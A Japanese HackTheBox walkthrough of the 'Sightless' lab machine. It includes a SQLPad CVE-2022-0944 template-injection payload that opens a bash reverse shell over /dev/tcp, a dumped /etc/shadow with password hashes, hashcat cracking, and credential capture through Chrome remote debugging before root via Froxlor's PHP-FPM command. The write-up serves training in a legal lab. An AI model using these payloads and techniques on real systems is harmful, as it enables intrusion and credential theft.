1
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup:Sightless

Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、Sightlessです。

Sightlessでは、SQLPadの脆弱性やChrome Remote Debuggerについて学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-16 22:57 JST
Nmap scan report for sightless.htb (10.10.11.32)
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Sightless.htb
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=9/16%Time=66E8394C%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20
SF:Server\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x20
SF:try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x
SF:20being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.14 seconds
Scan completed

上記ポートスキャンの結果を基に調査を行います。

列挙

ポートスキャンの結果を踏まえて、hostsファイルを編集後sightless.htbにアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2024-09-16 23.05.19.png

ページを確認すると、総合的なデータベースおよびサーバー管理ソリューションを提供するサイトのようです。

サブドメイン

トップページからリンクされているページにアクセスすると、SQLPadの画面が表示されます。

スクリーンショット 2024-09-16 23.11.38.png

SQLPadは、SQLクエリを記述して実行し、結果を視覚化するためのWebアプリです。

その他gobusterも実施しましたが、特に気になるコンテンツは見当たらなかったため、SQLPadの画面を調査します。

脆弱性分析

足場を作るために利用可能な脆弱性を探します。

SQLPadの脆弱性について調査したところ、CVE-2022-0944が見つかりました。

システムハッキング

CVE-2022-0944の脆弱性を利用して足場を作ります。

アクセスの獲得

事前にリスナーを用意した状態で、以下の手順を実行します。

はじめにSQLPadの画面左上のボックスから「...New connection」を選択します。

スクリーンショット 2024-09-16 23.19.59.png

「Connection name」に任意の名前を入力後「Driver」はMySQLを選択します。

スクリーンショット 2024-09-16 23.20.45.png

「Database」にリバースシェルを取得するためのペイロードを入力して「Save」を押します。

スクリーンショット 2024-09-16 23.22.34.png

  • Databaseの入力例
    {{ process.mainModule.require('child_process').exec("/bin/bash -c 'bash -i >& /dev/tcp/<REDACTED>/4444 0>&1'") }}

ペイロードが実行されることによって、リバースシェルが取得できます。

listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.32] 58816
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# 

リバースシェル取得後はシェルが不安定な状態になっていますが、このまま調査します。

ユーザーフラグ

最初からルートユーザーであることや/ディレクトリにあるdocker-entrypointファイルの存在などから、このホストはdockerコンテナであることが推定できます。

total 196
drwxr-xr-x  2 root root   4096 Aug  9 11:17 cache
drwxr-xr-x 10 root root   4096 Sep 16 14:28 results
drwxr-xr-x  2 root root   4096 Aug  9 11:17 sessions
-rw-r--r--  1 root root 188416 Sep 16 14:28 sqlpad.sqlite

カレントディレクトリ直下に存在するsqlpad.sqliteファイルを転送して、sqlliteで確認したところ、ユーザーテーブルの情報が確認できました。

sqlite> select * from users;
id                                    email                role    name  passhash                                                      password_reset_id                     data  signup_at  created_at                      updated_at                      disabled  sync_auth_role  ldap_id
------------------------------------  -------------------  ------  ----  ------------------------------------------------------------  ------------------------------------  ----  ---------  ------------------------------  ------------------------------  --------  --------------  -------
da9a25f7-588c-40f5-89db-58fbebab591f  admin@sightless.htb  admin         $2a$10$cjbITibC.4BQQKJ8NOBUv.p0bG2n8t.RIIKRysR6pZnxquAWsLFcC                                                         2024-05-15 04:48:09.377 +00:00  2024-05-15 18:16:54.652 +00:00  0                                
26113beb-60eb-4a58-81eb-2318e27eb3bf  john@sightless.htb   editor                                                                      2d3499e3-16ba-4b4b-a49e-c7c5dca89f2d                   2024-05-15 12:29:23.725 +00:00  2024-05-15 12:29:27.257 +00:00            0                      

上記結果を踏まえて、adminユーザーのハッシュ値から解析したパスワードを用いてFTPやSSHによるログイン試行を行いますが、ログインできません。

ウサギの穴に落ちたと思われるため、他の箇所を調べたところ、/etc/shadowファイルにたどり着きました。

$ cat /etc/shadow

root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

michaelユーザーのハッシュ値を解析し、パスワードを取得します。

$ hashcat -m 1800 hash /usr/share/wordlists/rockyou.txt

michaelユーザーの取得したパスワードを用いてSSHでログインします。

$ ssh michael@10.10.11.32

SSHログイン後、ユーザーフラグが取得できます。

ルートフラグ

権限昇格を狙うにあたり引き続き列挙を行います。

列挙を行った結果、未確認のサブドメインであるadmin.sightless.htbを発見しました。

<VirtualHost 127.0.0.1:8080>
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html/froxlor
	ServerName admin.sightless.htb
	ServerAlias admin.sightless.htb
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

ssコマンドで確認すると、8080番ポートはローカルホストからしかアクセスできないことが分かります。

LISTEN            0                 511                              127.0.0.1:8080                              0.0.0.0:*

ローカルポートフォワーディングを介して8080番ポートにアクセスすると、Froxlorの画面が確認できます。

$ ssh -L 8080:127.0.0.1:8080 michael@10.10.11.32

スクリーンショット 2024-09-16 23.50.35.png

ログインするためには資格情報が必要です。プロセスの情報からcronでシェルを起動して、シェルからPythonを介してChromeを起動していると思われます。
また、--remote-debugging-port=0 オプションを付与していることから、ヘッドレスモードで動作していることが分かります。従ってChrome Remote Debuggerを利用することで、認証情報の取得を試みます。

事前にChromeを起動していると思われるポートに対して、ローカルポートフォワーディングを行い、chromeブラウザからchrome://inspect/#devicesにアクセスします。

スクリーンショット 2024-09-16 23.54.24.png

「Configure」を押して、Chromeを起動していると思われるポートを追加します。

スクリーンショット 2024-09-16 23.55.01.png

ポートを追加後、以下の様なRemote Targetに関する情報が表示されたら「inspect」を押してログイン画面を検査します。

スクリーンショット 2024-09-17 22.58.35.png

しばらくすると、adminユーザーのログインが確認できます。

スクリーンショット 2024-09-17 23.00.04.png

index.phpに対するPOSTのPayloadタブからキャプチャしたパスワードが確認できます。

スクリーンショット 2024-09-17 23.01.42.png

取得した資格情報を用いてログインします。

スクリーンショット 2024-09-16 23.57.24.png

ナビゲーションメニューの「PHP-FPM versions」を選択して「Create new PHP version」を押します。

スクリーンショット 2024-09-16 23.57.39.png

「PHP-FPM restart command」を編集して、任意のコマンドを入力します。

スクリーンショット 2024-09-16 23.58.10.png

php-fpmが再起動されることで、コマンドが実行されます。php-fpmを利用することで、権限昇格を行うことができます。

おわりに

ルートフラグは難しいチャレンジでした。

参考

1
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?